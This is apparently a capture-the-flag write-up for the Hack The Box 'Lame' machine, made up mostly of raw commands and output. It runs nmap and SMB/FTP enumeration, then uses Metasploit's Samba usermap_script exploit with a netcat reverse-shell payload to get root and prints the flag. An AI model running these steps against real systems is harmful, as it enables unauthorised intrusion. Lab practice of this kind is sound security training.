```
nmap verbose scan
  -- $nmap -v -p- -Pn 10.129.190.214
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-19 20:49 +08
Initiating Parallel DNS resolution of 1 host. at 20:49
Completed Parallel DNS resolution of 1 host. at 20:49, 0.01s elapsed
Initiating Connect Scan at 20:49
Scanning 10.129.190.214 [65535 ports]
Discovered open port 21/tcp on 10.129.190.214
Discovered open port 445/tcp on 10.129.190.214
Discovered open port 139/tcp on 10.129.190.214
Discovered open port 22/tcp on 10.129.190.214
Connect Scan Timing: About 7.73% done; ETC: 20:55 (0:06:10 remaining)
Connect Scan Timing: About 20.78% done; ETC: 20:53 (0:03:53 remaining)
Connect Scan Timing: About 36.58% done; ETC: 20:53 (0:02:38 remaining)
Connect Scan Timing: About 50.94% done; ETC: 20:52 (0:01:57 remaining)
Connect Scan Timing: About 64.08% done; ETC: 20:52 (0:01:25 remaining)
Connect Scan Timing: About 73.61% done; ETC: 20:53 (0:01:05 remaining)
Connect Scan Timing: About 81.50% done; ETC: 20:53 (0:00:48 remaining)
Completed Connect Scan at 20:53, 289.26s elapsed (65535 total ports)
Nmap scan report for 10.129.190.214
Host is up (0.19s latency).
Not shown: 65531 filtered ports
PORT
      STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
nmap default script scan, default version scan
nmap -v -Pn -p21,22,139,445 -sC -sV 10.129.190.214
PORT
         STATE SERVICE
                               VERSION
21/tcp
         open ftp
                               vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
 ftp-syst:
     STAT:
  FTP server status:
        Connected to 10.10.14.12
        Logged in as ftp
        TYPE: ASCII
        No session bandwidth limit
        Session timeout in seconds is 300
        Control connection is plain text
        Data connections will be plain text
        vsFTPd 2.3.4 - secure, fast, stable
| End of status
22/tcp open ssh
                               OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
     1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
     2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Host script results:
|_clock-skew: mean: 2h00m35s, deviation: 2h49m43s, median: 34s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2021-08-19T08:59:39-04:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
```

ftp enumeration

```
-[user@parrot]—[~]
 <del>-</del> $ftp
ftp> open
(to) lame
Connected to lame.
220 (vsFTPd 2.3.4)
Name (lame:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
                         65534
                                       4096 Mar 17 2010 .
drwxr-xr-x
              2 0
                         65534
drwxr-xr-x 2 0
                                      4096 Mar 17
                                                    2010 ...
226 Directory send OK.
ftp>
```

samba enumeration

```
[user@parrot]-[~]
  - $enum4linux lame
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Aug 19 21:05:3
4 2021
| Target Information |
_____
Target ..... lame
RID Range ...... 500-550,1000-1050
Username .....''
Password .....''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
| Enumerating Workgroup/Domain on lame
_____
[E] Can't find workgroup/domain
| Nbtstat Information for lame |
_____
Looking up status of 10.129.190.214
No reply from 10.129.190.214
_____
| Session Check on lame |
_____
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
```

smbclient

smbclient -L //lame --option='client min protocol=NT1'

```
-[X]-[user@parrot]-[~]
   - $smbclient -L //lame --option='client min protocol=NT1'
Enter WORKGROUP\user's password:
Anonymous login successful
                    Type
       Sharename
                                Comment
       -----
                      ----
                    Disk
       print$
                                Printer Drivers
       tmp
                     Disk
                                oh noes!
       opt
                     Disk
       IPC$
                      IPC
                                IPC Service (lame server (Samba 3.0.20-Debian))
       ADMIN$
                      IPC
                                IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
       Server
                           Comment
       ------
                            -----
       Workgroup
                           Master
                            -----
       WORKGROUP
                            LAME
```

smbmap

```
smbmap -H lame
```

```
[user@parrot]-[~]
 ─- $smbmap -H lame
[+] IP: lame:445t...
                    Name: unknown
       Disk
                                                            Permissions Comment
                                                            NO ACCESS
       print$
                                                                           Printer Drivers
                                                            READ, WRITE oh noes!
       tmp
                                                            NO ACCESS
       opt
       IPC$
                                                            NO ACCESS
                                                                           IPC Service (lame server
(Samba 3.0.20-Debian))
                                                            NO ACCESS
       ADMIN$
                                                                           IPC Service (lame server
(Samba 3.0.20-Debian))
```

smbclient \\\\10.129.190.214\\tmp --option='client min protocol=NT1'

```
$\sum_[\textit{\\\\10.129.190.214\\tmp --option='client min protocol=NT1'
Enter WORKGROUP\user's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>
```

smb directory list

```
smb: \> dir
                                      D
                                               0 Thu Aug 19 21:14:17 2021
                                     DR
                                               0 Sat Oct 31 14:33:58 2020
 5609.jsvc_up
                                                  Thu Aug 19 20:49:52 2021
                                      R
 .ICE-unix
                                     DH
                                               0 Thu Aug 19 20:48:37 2021
                                                  Thu Aug 19 20:49:07 2021
 vmware-root
                                     DR
                                               0
  .X11-unix
                                     DH
                                               0 Thu Aug 19 20:49:03 2021
  .X0-lock
                                     HR
                                              11
                                                  Thu Aug 19 20:49:03 2021
 vgauthsvclog.txt.0
                                      R
                                            1600 Thu Aug 19 20:48:35 2021
                7282168 blocks of size 1024. 5385852 blocks available
```

```
samba potential exploit
```

```
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)
Samba < 3.0.20 - Remote Heap Overflow
Samba < 3.0.20 - Remote Heap Overflow
Samba < 3.0.20 - Remote Heap Overflow
Samba < 3.6.2 (x86) - Denial of Service (PoC)</pre>
```

vsftpd exploit failed to run via metasploit

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
        Current Setting Required Description
                         yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RHOSTS lame
                         yes
  RPORT 21
                                  The target port (TCP)
Payload options (cmd/unix/interact):
  Name Current Setting Required Description
Exploit target:
  Id Name
  0 Automatic
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 10.129.190.214:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.129.190.214:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
```

vsftpd via exploit script from exploitdb failed

samba exploit attempt

Basic options:

```
Current Setting Required Description
 Name
  RHOSTS lame yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 139 yes The target port (TCP)
Payload information:
 Space: 1024
Description:
  This module exploits a command execution vulnerability in Samba
  versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username
  containing shell meta characters, attackers can execute arbitrary
  commands. No authentication is needed to exploit this vulnerability
  since this option is used to map usernames prior to authentication!
References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  OSVDB (34700)
  http://www.securityfocus.com/bid/23972
  http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
  http://samba.org/samba/security/CVE-2007-2447.html
msf6 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):
          Current Setting Required Description
  RHOSTS lame
                                    RPORT
          139
                          yes
                                    The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
  Name Current Setting Required Description
  LHOST tun0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
```

user shell

Exploit target:

Id Name
-- --0 Automatic

```
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.12:4444
[*] Command shell session 1 opened (10.10.14.12:4444 -> 10.129.190.214:45011) at 2021-08-19 21:34:48 +0800
ls -lah
total 101K
drwxr-xr-x 21 root root 4.0K Oct 31 2020 .
drwxr-xr-x 21 root root 4.0K Oct 31 2020 ..
drwxr-xr-x 2 root root 4.0K Oct 31 2020 bin
drwxr-xr-x 4 root root 1.0K Nov 3 2020 boot
lrwxrwxrwx 1 root root 11 Apr 28 2010 cdrom -> media/cdrom
drwxr-xr-x 13 root root 14K Aug 19 08:48 dev
drwxr-xr-x 96 root root 4.0K Aug 19 09:31 etc
drwxr-xr-x 6 root root 4.0K Mar 14 2017 home
drwxr-xr-x 2 root root 4.0K Mar 16 2010 initrd
lrwxrwxrwx 1 root root 32 Oct 31 2020 initrd.img -> boot/initrd.img-2.6.24-32-server lrwxrwxrwx 1 root root 32 Oct 31 2020 initrd.img.old -> boot/initrd.img-2.6.24-16-server drwxr-xr-x 13 root root 4.0K Oct 31 2020 lib
drwx----- 2 root root 16K Mar 16 2010 lost+found
drwxr-xr-x 4 root root 4.0K Mar 16 2010 media
drwxr-xr-x 3 root root 4.0K Apr 28 2010 mnt
-rw----- 1 root root 20K Aug 19 08:49 pobl
              1 root root 20K Aug 19 08:49 nohup.out
drwxr-xr-x 2 root root 4.0K Mar 16 2010 opt
dr-xr-xr-x 113 root root 0 Aug 19 08:48 proc
drwxr-xr-x 13 root root 4.0K Aug 19 08:49 root drwxr-xr-x 2 root root 4.0K Nov 3 2020 sbin drwxr-xr-x 2 root root 4.0K Mar 16 2010 srv
drwxr-xr-x 12 root root 0 Aug 19 08:48 sys
drwxrwxrwt 5 root root 4.0K Aug 19 09:35 tmp
drwxr-xr-x 12 root root 4.0K Apr 28 2010 usr
drwxr-xr-x 15 root root 4.0K May 20 2012 var
lrwxrwxrwx 1 root root 29 Oct 31 2020 vmlinuz -> boot/vmlinuz-2.6.24-32-server
lrwxrwxrwx 1 root root 29 Oct 31 2020 vmlinuz.old -> boot/vmlinuz-2.6.24-16-server
user flag
ls -lah
total 28K
drwxr-xr-x 2 makis makis 4.0K Mar 14 2017 .
drwxr-xr-x 6 root root 4.0K Mar 14 2017 ..
-rw----- 1 makis makis 1.1K Mar 14 2017 .bash_history
```

root flag

```
cd /root
ls -lah
total 80K
drwxr-xr-x 13 root root 4.0K Aug 19 08:49 .
drwxr-xr-x 21 root root 4.0K Oct 31
                                   2020 ..
-rw----- 1 root root 373 Aug 19 08:49 .Xauthority
lrwxrwxrwx 1 root root 9 May 14 2012 .bash_history -> /dev/null
-rw-r--r-- 1 root root 2.2K Oct 20 2007 .bashrc
drwx----- 3 root root 4.0K May 20 2012 .config
drwx----- 2 root root 4.0K May 20 2012 .filezilla
drwxr-xr-x 5 root root 4.0K Aug 19 08:49 .fluxbox
drwx----- 2 root root 4.0K May 20 2012 .gconf
drwx----- 2 root root 4.0K May 20 2012 .gconfd
drwxr-xr-x 2 root root 4.0K May 20 2012 .gstreamer-0.10
drwx----- 4 root root 4.0K May 20 2012 .mozilla
-rw-r--r-- 1 root root 141 Oct 20 2007 .profile
drwx----- 5 root root 4.0K May 20 2012 .purple
-rwx----- 1 root root 4 May 20 2012 .rhosts
drwxr-xr-x 2 root root 4.0K May 20 2012 .ssh
drwx----- 2 root root 4.0K Aug 19 08:49 .vnc
drwxr-xr-x 2 root root 4.0K May 20 2012 Desktop
-rwx----- 1 root root 401 May 20 2012 reset_logs.sh
-rw----- 1 root root 33 Aug 19 08:49 root.txt
-rw-r--r-- 1 root root 118 Aug 19 08:49 vnc.log
cat root.txt
362ebbe4b2a5c070374f27c91bd7d0cb
```